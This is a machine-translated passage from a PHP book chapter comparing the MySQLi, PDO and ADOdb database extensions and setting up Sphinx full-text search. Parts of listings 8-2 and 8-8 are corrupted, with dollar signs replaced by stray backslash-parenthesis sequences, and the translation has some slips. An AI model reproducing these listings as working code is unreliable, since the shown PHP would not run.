而不仅仅是“f”。这将在任何 PHP 版本中解决这个问题,直到 5.3。不幸的是,在 PHP 5.3 版本中,MySQLi 期望绑定变量的引用,并且不接受值。这就是脚本中包含以下代码片段的原因:
array_unshift($row, $fmt); foreach(range(1,$ncols) as $i) { $row[$i]=&$row[$i]; }
我们确保每个绑定变量都包含对实际值的引用。这不是指格式字符串。循环中的range
从 1 开始,在unshift
之后,格式位于数组的开头。PHP 数组以index=0
开头,而不是前面代码片段中的 1 作为我们的“范围”函数,这意味着我们跳过了这个格式,把它作为一个值。在准备好我们的参数数组之后,“神奇的”绑定就这样完成了:
call_user_func_array(array(&$res, "bind_param"), &$row);
之后,执行解析后的语句$res
。对于由SplFileObject
从 CSV 文件返回的每一行,都重复这一过程。当所有行都被读取时,循环结束,执行commit
。这是commit
的逻辑位置。当然,正如本章开头所说,MySQLi 不抛出异常;使用它的程序员负责每个关键步骤后的错误检查。然而,MySQLi 已经为此做好了准备。所有 MySQLi 类的每个对象都有errno
和error
属性。errno
属性是错误代码,error
属性包含错误的文本描述。MySQLi 系统中有三个不同的类:MYSQLi
本身,描述数据库连接;MYSQLi_STMT
,描述解析后的语句;以及描述结果集的MYSQLI_RESULT
,由数据库返回给脚本。清单 8-1 使用了连接和声明类。要查看结果类,我们必须检索一些数据(参见清单 8-2 )。
清单 8-2。写一份与清单 7-10 相同的报告
<?php $QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)"; $ncols = 0; $colnames = array(); try { $db = new mysqli("localhost", "scott", "tiger", "scott"); $res = $db->query($QRY); print "\n"; if ($db->errno != 0) { throw new Exception($db->error); }
` // Get the number of columns
$ncols = $res->field_count;
// Get the column names
while ($info = \(res->fetch_field()) {
\)colnames[] = strtoupper($info->name);
}
// Print the column titles
foreach ($colnames as $c) {
printf("%-12s", $c);
}
// Print the border
printf("\n%s\n", str_repeat("-", 12 * $ncols));
// Print rows
while ($row = $res->fetch_row()) {
foreach (range(0, $ncols - 1) as $i) {
printf("%-12s", \(row[\)i]);
}
print "\n";
}
}
catch(Exception \(e) {
print "Exception:\n";
die(\)e->getMessage() . "\n");
}
?>`
该脚本将编写一份与清单 7-10 中的脚本相同的报告。脚本结构与清单 7-10 相同。注意,这里不需要关闭自动提交;此脚本中没有事务。
connection 类的“query”方法返回一个MYSQLI_RESULT
类的对象,在本例中恰当地命名为$res
。该对象的属性之一是列数:
$ncols = $res->field_count;
对于每一列,都有一个描述——一个辅助类stdClas
的对象。该对象通过使用$res
对象的fetch_field
方法来检索。以下是相关片段:
while ($info = $res->fetch_field()) { $colnames[] = strtoupper($info->name); }
这个脚本只使用了“name”属性,但是包含在$info
对象中的整个描述如下所示:
stdClass Object ( [name] => empno [orgname] => empno [table] => emp [orgtable] => emp
[def] => [max_length] => 4 [length] => 4 [charsetnr] => 63 [flags] => 53251 [type] => 3 [decimals] => 0 )
“name”属性显然指的是列名。在处理视图时,orgname
和orgtable
很重要。SQL 标准描述了称为“视图”的对象,这些对象本质上是命名查询。允许查询重命名列,因此新名称将在“name”属性中,而原始名称和表将在orgname
和orgtable
属性中。除了名称和长度列之外,最重要的列是类型列。不幸的是,MySQLi 文档中没有记录这些类型的含义。然而,根据经验,我们知道 3 是整数,5 是双精度数,253 是可变字符,7 是时间戳数据类型。
就像所有其他数据库一样,有一个“fetch”调用从数据库中获取结果。在这种情况下,该方法被称为fetch_row
。获取数据的循环与清单 7-10 中的 SQLite 示例完全相同:
while ($row = $res->fetch_row()) { foreach (range(0, $ncols - 1) as $i) { printf("%-12s", $row[$i]); } print "\n"; }
这个脚本的输出看起来与清单 7-10 中的输出完全一样:
`./script8.2.php
ENAME JOB DNAME LOC
CLARK MANAGER ACCOUNTING NEW YORK
KING PRESIDENT ACCOUNTING NEW YORK
MILLER CLERK ACCOUNTING NEW YORK
SMITH CLERK RESEARCH DALLAS
JONES MANAGER RESEARCH DALLAS
SCOTT ANALYST RESEARCH DALLAS
ADAMS CLERK RESEARCH DALLAS
FORD ANALYST RESEARCH DALLAS
ALLEN SALESMAN SALES CHICAGO
WARD SALESMAN SALES CHICAGO
MARTIN SALESMAN SALES CHICAGO
BLAKE MANAGER SALES CHICAGO
TURNER SALESMAN SALES CHICAGO
JAMES CLERK SALES CHICAGO`
MySQLi 扩展的结论
MySQL 比最初的 MySQL 扩展更加现代和强大,但它缺少一些重要的功能,如命名绑定和异常处理。许多托管公司只允许原始的 MySQL 扩展,它被更大、更好、更快的 MySQL 所取代。好在这个不是唯一的选择。还有 PDO 扩展家族,它解决了命名绑定和异常的问题。我们接下来将讨论 PDO 扩展。
PDO 简介
PDO 是 PHP 数据对象的缩写。它试图将所有数据库的扩展统一到一个单一的编程应用接口(API)中,这将简化编程并减少编写与数据库交互的应用所需的知识量。这种努力对一些数据库来说是成功的,但对其他数据库来说就不那么成功了。当一切都简化为相同的公分母时,一些特殊的功能就会丢失,例如 PostgreSQL 或数组接口中的“复制”命令以及 Oracle RDBMS 的会话池。这些功能旨在显著加快数据处理速度,但无法通过 PDO 获得。此外,数据库供应商主要维护特定于数据库的扩展,这使得 PDO 有些被忽视。
PDO 有两层。首先,有一个通用的 PDO 接口,然后有一个特定于数据库的驱动程序,它与 PDO 层合作,与数据库进行实际的交互。默认情况下启用 PDO,但是需要单独安装数据库驱动程序。PDO 接口实际上比本地接口更好的数据库之一是 MySQL。所以让我们看看用 PDO 写的 CSV 加载脚本(见清单 8-3 )。
清单 8-3。使用 PDO 编写的 CSV 加载脚本
<?php if ($argc != 3) { die("USAGE:script8.3 <table_name> <file name>\n"); } $tname = $argv[1]; $fname = $argv[2]; $rownum = 0; function create_insert_stmt($table, $ncols) { $stmt = "insert into $table values("; foreach (range(1, $ncols) as $i) { $stmt.= "?,"; } $stmt = preg_replace("/,$/", ')', $stmt); return ($stmt); } try { $db = new PDO('mysql:host=localhost;dbname=scott', 'scott', 'tiger'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $res = $db->prepare("select * from $tname"); $res->execute(); $ncols = $res->columnCount(); $ins = create_insert_stmt($tname, $ncols); $res = $db->prepare($ins); $fp = new SplFileObject($fname, "r"); $db->beginTransaction();
while ($row = $fp->fgetcsv()) { if (strlen(implode('', $row)) == 0) continue; $res->execute($row); $rownum++; } $db->commit(); print "$rownum rows inserted into $tname.\n"; } catch(PDOException $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
这是迄今为止最短的版本,但功能齐全。大部分缺失的代码是错误处理代码。这个版本的脚本中明显没有这段代码。原因是数据库连接后立即进行了setAttribute
调用。在这个setAttribute
调用中,PDO 被指示在出现任何数据库错误时抛出一个PDOException
类的对象。该异常包含错误代码和消息,可用于处理错误。这使得我们所有定制的错误处理代码变得不必要,所以它被从脚本中删除了。
将变量绑定到占位符或语句的代码也完全不存在。PDO 可以在执行时执行绑定,这是它与我们的下一个可移植数据库接口 ADOdb 共有的特性。execute
方法将绑定值的数组作为参数,并在执行之前将数组绑定到解析的语句。与清单 8-1 中绑定变量所必需的可怕的call_user_func_array
魔法相比。PDO 确实支持命名占位符的bindValue
方法,但并不经常需要。
在这个脚本中,我们还看到了“公分母”方法的一个缺陷:PDO 无法关闭会话的自动提交模式。它可以显式启动事务,这当然会在事务期间关闭自动提交模式,而不是在会话期间。
此外,PDO 必须首先执行一个准备好的语句才能描述它。原生 MYSQLi 驱动不需要执行语句;我们能够对在清单 8-1 中准备好但没有执行的语句执行field_count
。执行长时间运行的 SQL 语句可能会导致很大的延迟。如果要加载的表包含数亿条记录,执行初始 SQL 语句"select * from $table
"可能需要几个小时才能完成。其原因在于酸的需求。ACID 需求向用户保证,在查询开始之前,他只能看到提交给数据库的更改。数据库必须重建查询开始后修改的行,并向用户显示查询开始前的行版本。如果底层表很大并且频繁修改,那么这可能是一个非常漫长的过程。另一种方法是锁定该表,并阻止任何人在查询期间修改它。不用说,如果访问的并发性是一个业务需求,那么这种策略是不会通过的。
人们将不得不求助于不可移植的技巧来解决这个问题。一种方法是像这样重写 SQL:"select * from $table limit 1
"。这将只从数据库返回一行,因此无论表的大小如何,执行速度都要快得多。不幸的是,这不适用于 Oracle RDBMS,它不支持LIMIT
选项,而是使用自己的ROWNUM
结构。这个问题没有现成的解决办法。这就是使用 PDO 的风险。然而,大多数用户只使用一种或两种类型的数据库引擎(例如,只有 MySQL 和 PostgreSQL),所以这通常不是一个大问题。
现在,让我们看看第二个脚本,通过运行一个固定查询产生的小报告(见清单 8-4 )。
清单 8-4。运行固定查询生成的报告
<?php $QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)"; $colnames = array(); $ncols = 0; try { $db = new PDO('mysql:host=localhost;dbname=scott', 'scott', 'tiger'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $res = $db->prepare($QRY); $res->execute(); // Get the number of columns $ncols = $res->columnCount(); // For every column, define format, based on the type foreach (range(0, $ncols - 1) as $i) { $info = $res->getColumnMeta($i); $colnames[] = $info['name']; } // Print column titles, converted to uppercase. foreach ($colnames as $c) { printf("%-12s", strtoupper($c)); } // Print the boundary printf("\n%s\n", str_repeat("-", 12 * $ncols)); // Print row data while ($row = $res->fetch(PDO::FETCH_NUM)) { foreach ($row as $r) { printf("%-12s", $r); } print "\n"; } } catch(PDOException $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
这完全是标准的—这里没什么可看的。然而,有趣的是,用于描述光标的getColumnMeta
方法,在手册中仍然被标记为实验性的,并被标记为“使用风险自担”。这个方法绝对至关重要;没有它将严重限制 PDO 的用途。然而,这种方法并不适用于所有数据库。例如,它不能在 Oracle 上运行。此方法生成的列描述如下所示:
`Array
(
[native_type] => VAR_STRING
[flags] => Array
(
)
[table] => d
[name] => loc
[len] => 13
[precision] => 0
[pdo_type] => 2
)`
表名是“d”,因为该方法从我们的 SQL 中选择了表别名。正在执行的查询如下:
$QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)";
在这个查询中,我们为 emp 表使用了别名“e ”,为 dept 表使用了别名“d ”,以便能够将连接条件从(emp.deptno=dept.deptno
)缩短为更短且同样易于理解(数据库服务器)的形式(e.deptno = d.deptno
)。getColumnMeta
方法返回这个别名,而不是完整的表名。这不一定是一个错误,但是会使“table”字段变得不那么有用。此外,fetch 包含了PDO::FETCH_NUM
选项,类似于我们在清单 7-10 中看到的 SQLite 示例。就像这里的情况一样,fetch 可以将 row 作为由数字、列名索引的数组返回,或者作为以列名为属性的对象返回。默认为FETCH_BOTH
,它将获取关联数组和数字索引数组。
提到 SQLite,SQLite3 也有一个 PDO 驱动程序。更重要的是,getColumnMeta
工作得非常好,它返回完整的表名,而不是 SQL 别名,MySQL 就是这种情况。如果我们用$db = new PDO(‘sqlite:scott.sqlite’)
替换连接线,我们的两个 PDO 脚本都将完美工作。当然,开始和提交事务的命令是不需要的,但是它们也不会造成任何伤害。
PDO 的结论
PDO 有了一个良好的开端,但仍处于发展阶段。它将是 PHP 6 中唯一的数据库扩展,但这不会很快发生。对于利用标准的数据库特性来说,它已经足够了,但是它仍然不能利用几乎所有数据库中内置的专有数据库扩展,主要是因为性能原因。结合它功能不全的事实,我会建议读者把 PDO 扩展当作 beta 软件。
ADOdb 简介
本书涉及的最后一个数据库扩展是 ADOdb。它是第三方扩展,根据 BSD 许可条款免费提供。大多数 Linux 发行版都将它作为一个软件包提供,其他的可以从这里下载:
http://adodb.sourceforge.net
安装包括将源文件解压到文件系统目录中。解压缩源代码的目录应该包含在该安装的 PHP.ini 参数中。
注意需要将 ADOdb 解包的目录添加到 php.ini 文件中的
include_path
PHP 参数中,如果该目录还不存在的话。
ADOdb 模仿微软流行的 ActiveX 数据对象(ADO)框架。它支持异常、遍历数据库游标以及位置绑定和命名绑定。它还支持许多数据库,就像最初的 ADO 框架一样。MySQL、PostgreSQL、SQLite、Firebird、Oracle SQL Server、DB2 和 Sybase 等都受支持。它使用原始的数据库扩展,链接到 PHP 解释器中。如果 PHP 解释器支持 MySQL,就可以使用 ADOdb。换句话说,ADOdb 只是原始驱动程序之上的一个类结构。ADOdb 根据自己的选项设置驱动程序选项,但是数据库的原始驱动程序不是由 ADOdb 的作者 John Lim 提供的。
ADOdb 有两个版本:一个是旧版本,支持 PHP4 和 PHP5;另一个是新版本,只支持 PHP 5。本书中的例子已经用后一版本测试过了。乍一看,这两个版本看起来一模一样,如果需要支持 PHP4 的版本,还得单独下载。当然,PHP4 不支持异常,所以这部分不会和 PHP4 一起工作。
ADOdb 包含两个主要的类:连接类和结果类,即 ADOdb 文档中所称的 set 或 record set 类。
为了更好地解释事情,让我们看看两个脚本中的第一个,将 CSV 文件加载到数据库中的脚本(参见清单 8-5 )。
清单 8-5。将 CSV 文件载入数据库
<?php require_once ('adodb5/adodb.inc.php'); require_once ('adodb5/adodb-exceptions.inc.php'); if ($argc != 3) { die("USAGE:script8.5 <table_name> <file name>\n"); } $tname = $argv[1]; $fname = $argv[2]; $rownum = 0; function create_insert_stmt($table, $ncols) { $stmt = "insert into $table values("; foreach (range(1, $ncols) as $i) { $stmt.= "?,"; } $stmt = preg_replace("/,$/", ')', $stmt); return ($stmt); }
try { $db = NewADOConnection("mysql"); $db->Connect("localhost", "scott", "tiger", "scott"); $db->autoCommit = 0; $res = $db->Execute("select * from $tname"); $ncols = $res->FieldCount(); $ins = create_insert_stmt($tname, $ncols); $res = $db->Prepare($ins); $fp = new SplFileObject($fname, "r"); $db->BeginTrans(); while ($row = $fp->fgetcsv()) { if (strlen(implode('', $row)) == 0) continue; $db->Execute($res, $row); $rownum++; } $db->CompleteTrans(); print "$rownum rows inserted into $tname.\n"; } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
下面两行将把所有基本类加载到我们的脚本中。后面还会提到其他一些类:
require_once ('adodb5/adodb.inc.php'); require_once ('adodb5/adodb-exceptions.inc.php');
include 的确切位置将取决于 ADOdb 的安装。ADODB 发行版可以在系统上的任何地方解压缩,并且将同样工作,只要它由include_path
PHP 指令正确指定。使用NewADOConnection
函数创建新的 ADOdb 连接。它不是一个经典的 PHP 类构造函数;它只是一个返回连接类对象的函数。一旦创建了连接对象,就可以使用Connect
方法连接到数据库。ADOdb 还包含在连接建立后关闭自动提交的调用。在这个脚本中这是不必要的,因为它控制它的事务——但是关闭自动提交没有任何害处,并且被认为是一个好的编程实践,如前所述。
注意,“Execute
”方法属于连接类,而不属于记录集类。ADOdb 还必须执行语句,以便能够描述数据集,确定字段的数量以及它们的名称、类型和长度。使用前面显示的FieldCount
方法确定字段的数量。绑定不是必需的;可以将绑定数组传递给执行调用,就像 PDO 的情况一样。再次值得注意的是,execute 方法在连接类中,而不是在结果集类中。Execute 方法其实很强大,支持数组执行。MySQL 不常执行数组,但 Oracle 或 PostgreSQL 经常执行数组,它们专门针对这种方法进行了优化。这是怎么回事?如果我们必须执行下面的 insert 语句:$INS="insert into tab values(?,?)"
和一个如下所示的行数组:
$rowbatch = array( array($a1,$a2), array($b1,$b2), array($c1,$c2));
下面的调用实际上会插入所有三行,只执行一次:
$db->Execute($INS,$rowbatch);
像这样插入成批的记录会得到什么?首先,它最小化了网络通信,这仍然是应用中最慢的部分。如果有 100 行要插入,那么插入每一行本身就需要在网络上往返 100 次。如果以 20 行为一组插入行,只需要五次往返。此外,进程间的通信也大大减少了,因此数据库也不那么繁忙了。默认情况下,这个批量绑定特性是禁用的,必须通过设置“bulkBind”连接属性来激活,比如:$db->bulkBind=true
。同样,这对于 MySQL 或 SQLite 来说没有多大意义,但是对于其他一些数据库来说却非常方便。
其他一切都是完全标准的,除了CompleteTrans
方法,它很聪明,知道如果发生任何错误,它必须回滚事务。也有经典的提交和回滚方法,但是它们需要额外的逻辑来检查数据库错误。这是多余的,因为 ADOdb 会在出错时抛出异常,并且事务会在到达提交点之前死亡。此外,我们在 PostgreSQL 9.0 数据库上使用CompleteTrans
时确实遇到了问题,当我们期望提交事务时,它执行了回滚。我们最终选择了CommitTrans()
方法。有了 MySQL,就没有这些问题了。
现在,让我们看看我们的报告。SQL 现在已经广为人知;报告中唯一有趣的技巧是描述列和获取行(见清单 8-6 )。
清单 8-6。在此插入列表标题。
<?php require_once ('adodb5/adodb.inc.php'); require_once ('adodb5/adodb-exceptions.inc.php'); $ADODB_FETCH_MODE = ADODB_FETCH_NUM; $QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)"; $colnames = array(); $ncols = 0; try { $db = NewADOConnection("mysql"); $db->Connect("localhost", "scott", "tiger", "scott"); $res = $db->Execute($QRY); // Get the number of columns $ncols = $res->FieldCount(); // Get the column names. foreach (range(0, $ncols - 1) as $i) { $info = $res->FetchField($i); $colnames[] = $info->name; } // Print column titles, converted to uppercase. foreach ($colnames as $c) { printf("%-12s", strtoupper($c)); } // Print the boundary printf("\n%s\n", str_repeat("-", 12 * $ncols));
// Print row data while ($row = $res->FetchRow()) { foreach ($row as $r) { printf("%-12s", $r); } print "\n"; } } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
在清单 8-6 的最开始,有一行将$ADODB_FETCH_MODE
变量设置为常量ADODB_FETCH_NUM
。这是我们之前见过的相同机制的另一个版本。ADOdb 没有像 PDO 那样将返回值的期望形式作为参数传递,而是设置了一个特殊的全局变量,FetchRow
方法会依次查询这个变量。就像 PDO 的情况一样,ADOdb 可以返回一个关联数组、一个数字索引数组,或者两者兼有。默认情况下,两者都返回。
描述列的方法是FetchField
。它将列号作为参数,并返回具有以下属性的对象:name、type 和 max_length。以下是返回对象的示例:
ADOFieldObject Object ( [name] => ename [max_length] => -1 [type] => varchar )
从这个例子可以看出,max_length 字段不太准确,不应该依赖它。幸运的是,正如我们现在所知道的,PHP 是一种弱类型脚本语言,所以这不是一个大问题。
ADOdb 是一个大型库。它甚至有自己的缓存机制,虽然不如“memcached”包高效,但设置和使用起来非常简单。缓存基于文件系统缓存。结果被写入操作系统文件,以便下次请求查询时,只需从文件中读取结果。如果 web 服务器与数据库在不同的机器上,使用缓存来检索数据确实可以节省一些时间。此外,缓存是多用户的,所以如果几个用户正在执行一个类似的应用,结果文件将被缓存在内存中,性能的提升将是相当显著的。要定义缓存,只需通过设置相应的全局变量来定义缓存目录:
$ADODB_CACHE_DIR="/tmp/adodb_cache";
缓存目录可能会快速增长,应该位于通常由操作系统清理的位置,如/tmp 目录,如果系统是这样配置的,它会在系统重新启动时被完全清理。之后,通过调用CacheExecute
方法而不是Execute
方法来使用缓存:
$res = $db->CacheExecute(900,$QRY);
第一个参数定义了缓存失效的秒数。如果文件超过给定的秒数,将不会被使用。第二个参数是要执行的查询。这将在目录中创建一个如下所示的文件:
`ls -R /tmp/adodb_cache/
/tmp/adodb_cache/:
03
/tmp/adodb_cache/03:
adodb_03b6f957459e47bab0b90eb74ffaea68.cache`
子目录“03”基于查询的哈希值,由内部哈希函数计算。然后还有另一个哈希函数来计算文件名。如果文件名中的查询与脚本中的查询相同,则结果将从文件中检索,而不是从数据库中检索。
禁止绑定变量;只能缓存没有占位符的查询结果。这是一个可以理解的规定,因为查询结果依赖于绑定变量,而这些变量是在运行时提供的,这使得缓存不可能。在频繁变化的数据库中,业务需求要求数据必须完全准确和最新,因此不能使用这种缓存机制,但是对于频繁查询的相对静态的数据,这种机制非常有用。例如,日期不太可能在 24 小时内改变,这使得今天的日期成为缓存的理想候选。
ADOdb 结论
ADOdb 还有许多其他方法和技巧,但是涵盖所有这些超出了本书的范围。我们已经描述了最常用的,但是这个库非常全面。这是迄今为止我们见过的最大的库。它也在许多开源产品中使用,有很好的文档记录,并得到很好的支持。它还支持各种各样的数据库。
使用 Sphinx 进行全文搜索
文本搜索通常被认为是独立于数据库集成的一个主题,但是每个主要的数据库都有一个全文搜索引擎。Sphinx 恰好是 MySQL 数据库的默认全文搜索引擎。然而,在本书中,我将展示如何使用 PostgreSQL 设置和使用 Sphinx 来搜索文本,因为这是我们手头的数据库。
那么,什么是全文搜索,为什么需要它们?大多数现代数据库在正则表达式方面做得很好,所以人们会认为没有必要进行全文搜索。不幸的是,正则表达式的搜索通常不能使用索引,所以它们太慢了,不实用。这就是为什么有一种技术可以创建特殊的文本索引来帮助进行全文搜索。文本索引和附带的软件可以做以下事情:
- 单词搜索。这意味着搜索包含特定单词的记录,如“鸡肉”或“沙拉”
- 短语搜索。这是为用户寻找一个短语,如“鸡肉沙拉”,谁不一定想得到像“鸡翅和土豆沙拉”,这将是基于搜索两个单词,“鸡肉”和“沙拉”返回的东西
- 邻近搜索,也称为“邻近运算符”,检索给定文本字段包含的所有行,例如,单词“hello”和“world”彼此之间的距离不超过三个单词。
- Quorum 搜索,这是一种搜索类型,其中有一个单词列表以及出现在文章中的最少数量的单词,这些单词将被标记为匹配。
- 逻辑运算符:您可以使用 AND、or 和 NOT 运算符组合搜索单词。
所有现代搜索引擎都有这样的能力。当然,不止一种文本搜索软件,既有开源的,也有商业的。开源文本引擎有 Sphinx、Lucene、Xapian 和 Tsearch2,它们各有优缺点。还有一些商业产品,如 Oracle*Text 或 Autonomy Corp .的 IDOL engine。本章的其余部分将专门介绍 Sphinx,这是一个由 Sphinx Technologies 开发的开源文本搜索引擎。公司网址为:[
sphinxsearch.com](http://sphinxsearch.com)
安装很简单,该程序通常作为操作系统包提供。如果 Sphinx 还没有本机安装,那么它几乎可以在任何操作系统上构建。PHP 还需要一个额外的模块,通过使用 PECL 实用程序来安装。
Sphinx 由两部分组成:索引器,它构建所需的文本索引;和执行搜索的搜索过程。这两个组件都由名为sphinx.conf
的配置文件控制。第一步是实际建立一个索引。Sphinx 索引器根据一些规则读取文档源并构建索引。文档源可以是数据库或产生 XML 的程序(“xmlpipe”)。支持的数据库有 PostgreSQL 和 MySQL。
用于演示 Sphinx 的数据库将是 PostgreSQL,这是一个非常强大的开源数据库。将用于索引的表称为 food_articles,是通过在 Google 上搜索食品文章组装而成的。有 50 篇文章,有作者、我们找到文章的 URL、文本和文章被收集的日期。所有的文章都是在 2011 年 1 月 30 日收集的,所以日期栏有点无聊。然而,这对于本书中的例子是必要的。
文章中的换行符被标记换行符的 HTML 标签替换。由于将数据加载到数据库中所使用的方法,这是一种不可避免的弊端。通过使用全能的“vi”编辑器,关于文章的所有信息被组装成一个大的 CSV 文件。然后将生成的 CSV 文件加载到数据库中。表 8-1 显示了食物 _ 物品表的样子。
文档 id 是主键,是文章的序号。它属于“bigint”类型,可以包含 64 位整数。现在,让我们继续构建我们的文本索引。文本索引是由名为“indexer”的程序构建的,它是 Sphinx 包的一部分。首先,我们需要配置文件,通常命名为sphinx.conf
。文件的位置取决于您使用的操作系统。下面是我们相当典型的配置文件,由软件附带的示例文件构造而成:
清单 8-7。在此插入列表标题,
`###################################################
data source definition
###################################################
source food
{
# data source type. mandatory, no default value
# known types are mysql, pgsql, mssql, xmlpipe, xmlpipe2, odbc
type = pgsql
sql_host = localhost
sql_user = mgogala
sql_pass = qwerty
sql_db = mgogala
sql_port = 5432
sql_query =
SELECT document_id,
date_part('epoch',published) as publ_date,
article
FROM food_articles;
sql_query_info =
SELECT document_id,
date_part('epoch',published) as publ_date,
article
FROM food_articles
WHERE document_id=$id;
sql_attr_timestamp = publ_date
}
index food-idx
{
source = food
path = /usr/local/var/data/food
docinfo = extern
charset_type = utf-8
preopen = 1
}
indexer
{
mem_limit = 256M
write_buffer = 8M
max_file_field_buffer = 64M
}
searchd
{
listen = 9312
log = /var/log/searchd.log
query_log = /var/log/query.log
read_timeout = 5
max_children = 30
pid_file = /var/run/searchd.pid
max_matches = 1000
seamless_rotate = 1
preopen_indexes = 0
unlink_old = 1
read_buffer = 1M
read_unhinted = 256K
subtree_docs_cache = 64M
subtree_hits_cache = 64M
}`
这个文件的结构相当简单。第一部分定义了数据的来源。每个来源都有自己的名字;这个例子的来源叫做“食物”它首先定义数据库,包括数据库的类型、数据库名称、用户名、密码和端口——所有常见的东西。在源部分要定义的第二件事是如何获取数据。有两个查询:一个获取数据,另一个获取关于特定文档 id 的信息。Sphinx 期望选择列表的第一列是主键。它还期望主键是一个整数。它可以接受 64 位整数。
注意Sphinx 数据源中查询的第一列必须是主键。主键也必须是整数。支持大的 64 位整数。
这就是将我们的 document_id 列定义为“bigint”的原因,尽管事实上只有 50 篇文章。还要注意,没有必要从表中选择所有的列。只选择需要索引的列将有助于节省时间和空间。之后,可以定义可选的属性。属性不是索引列。属性不能用于文本搜索;属性只能用于排序和范围搜索。我们可以要求 2 月份的数据,但由于样本数据的性质,我们不会得到任何数据。属性可以是数字或时间戳。时间戳被定义为从 1970 年 1 月 1 日开始的秒数。日期字段不能直接使用;它们必须被映射成纪元格式。
注意由几行组成的字段,比如我们的 SQL 字段,必须像前面的例子一样使用反斜杠字符。
下一节是索引的定义。它必须包含将用于获取数据的数据源的名称、将写入索引文件的路径以及字符集类型。我们的索引还包含可选的性能参数“preopen”,它指示搜索过程在开始时打开索引,而不是等待第一次搜索。因此,第一次搜索会更快。
之后是索引器的内存选项,该程序用于建立文本索引和执行搜索的搜索过程。搜索过程的重要选项是“max_matches”选项。它定义了搜索过程可以返回的最大命中数。它可以找到更多的匹配,但它只能返回“max_matches”个匹配。在 PHP 中,这是搜索可以返回的最大数组大小。我们的配置文件准备好了;让我们建立一个索引。
`indexer food-idx
Sphinx 1.10-beta (r2420)
Copyright (c) 2001-2010, Andrew Aksyonoff
Copyright (c) 2008-2010, Sphinx Technologies Inc (http://sphinxsearch.com)
using config file '/usr/local/etc/sphinx.conf'...
indexing index 'food-idx'...
collected 50 docs, 0.2 MB
sorted 0.0 Mhits, 100.0% done
total 50 docs, 230431 bytes
total 0.038 sec, 5991134 bytes/sec, 1299.98 docs/sec
total 3 reads, 0.000 sec, 38.9 kb/call avg, 0.0 msec/call avg
total 9 writes, 0.000 sec, 31.6 kb/call avg, 0.0 msec/call avg`
调用程序“索引器”时将索引的名称作为参数;就这么简单。唯一重要的事情是编写配置文件。Sphinx 以其最快的索引构建程序而自豪。它真的非常快,当有许多项目需要索引时,这一点非常重要。创建索引后,必须开始搜索过程,只需从命令行执行命令searchd
。在 Windows 中,有一个用于启动搜索过程的菜单。如果一切正常,该过程将如下所示开始:
`searchd
Sphinx 1.10-beta (r2420)
Copyright (c) 2001-2010, Andrew Aksyonoff
Copyright (c) 2008-2010, Sphinx Technologies Inc (http://sphinxsearch.com)
using config file '/usr/local/etc/sphinx.conf'...
listening on all interfaces, port=9312
precaching index 'food-idx'
precached 1 indexes in 0.001 sec`
现在,我们可以使用“搜索”程序来测试索引。搜索程序是一个命令行工具,它与搜索进程进行通信,并在命令行上执行传递给它的搜索。
`search "egg & wine"
Sphinx 1.10-beta (r2420)
Copyright (c) 2001-2010, Andrew Aksyonoff
Copyright (c) 2008-2010, Sphinx Technologies Inc (http://sphinxsearch.com)
using config file '/usr/local/etc/sphinx.conf'...
index 'food-idx': query 'egg & wine ': returned 2 matches of 2 total in 0.000 sec
displaying matches:
1. document=9, weight=1579, publ_date=Sun Jan 30 00:00:00 2011
2. document=36, weight=1573, publ_date=Sun Jan 30 00:00:00 2011
words:
1. 'egg': 8 documents, 9 hits
2. 'wine': 20 documents, 65 hits`
这个搜索寻找包含单词“egg”和“wine”的文档。它也给了我们关于它发现的文件的详细信息。现在是时候了解更多关于搜索的细节了:
- 搜索“egg | wine”将返回包含其中任何一个单词的所有文档。“|”字符是“或”逻辑运算符。
- 搜索“鸡蛋和葡萄酒”将返回包含这两个单词的文档。“&”字符是“与”逻辑运算符。
- 正在搜索“!egg”将返回所有不包含单词 egg 的文档。“!”字符是逻辑否定——“非”运算符。如果用于从命令行进行搜索,则必须在搜索文本周围使用单引号,因为感叹号对 shell 有特殊的意义,并且单引号中的字符不会被 shell 进一步解释。这只适用于 Linux 和 Unix shells,不适用于 Windows 命令行。
- 搜索“橄榄油”(双引号是表达式的一部分)将返回包含确切短语“橄榄油”的文档
- 搜索“olive oil”~ 5 将返回包含单词“olive”和“oil”的文档,单词之间的间隔不超过五个单词。
- 搜索“油醋番茄生菜沙拉”/3 将返回包含至少三个给定单词的文档。这就是所谓的“法定人数搜索”
这些是可以在复杂表达式中组合的基本运算。现在是时候写一个 PHP 脚本来搜索文本索引了。由于输出的大小和类型,这个脚本将在浏览器中使用,这意味着我们需要构建一个简单的 HTML 表单,并将输出显示为 HTML 表。这将通过使用两个 PEAR 模块来完成:HTML_Form 和 HTML_Table。HTML_Form 有点过时但是非常简单易用。该脚本如清单 8-8 所示。
清单 8-8。搜索文本索引(PHP 脚本)
`<?php
/* ADOdb includes */
require_once ('adodb5/adodb.inc.php');
require_once ('adodb5/adodb-exceptions.inc.php');
\(ADODB_FETCH_MODE = ADODB_FETCH_NUM;
\)db = ADONewConnection("postgres8");
$colheaders = array("ID", "AUTHOR", "PUBLISHED", "URL", "ARTICLE");
/* PEAR modules are used for simplicity */
require_once ('HTML/Form.php');
require_once ('HTML/Table.php');
\(attrs = array("rules" => "rows,cols", "border" => "3", "align" => "center");
\)table = new HTML_Table(\(attrs);
\)table->setAutoGrow(true);
/* Set the output table headers */
foreach (range(0, count($colheaders) - 1) as \(i) {
\)table->setHeaderContents(0, $i, \(colheaders[\)i]);
}
/* Get the given document from the database */
\(QRY = "select * from food_articles where document_id=?";
\)srch = null;
if (!empty(\(_POST['srch'])) {
\)srch = trim($_POST['srch']);
}
/* Display a simple form, consisting only of a single textarea field */
echo "
Sphinx Search
";
\(form = new HTML_Form(\)_SERVER['PHP_SELF'], "POST");
$form->addTextarea("srch", 'Search:', \(srch, 65, 12); \)form->addSubmit("submit", "Search");
$form->display();
/* Stop if there is nothing to search */
if (empty($srch)) exit;
try {
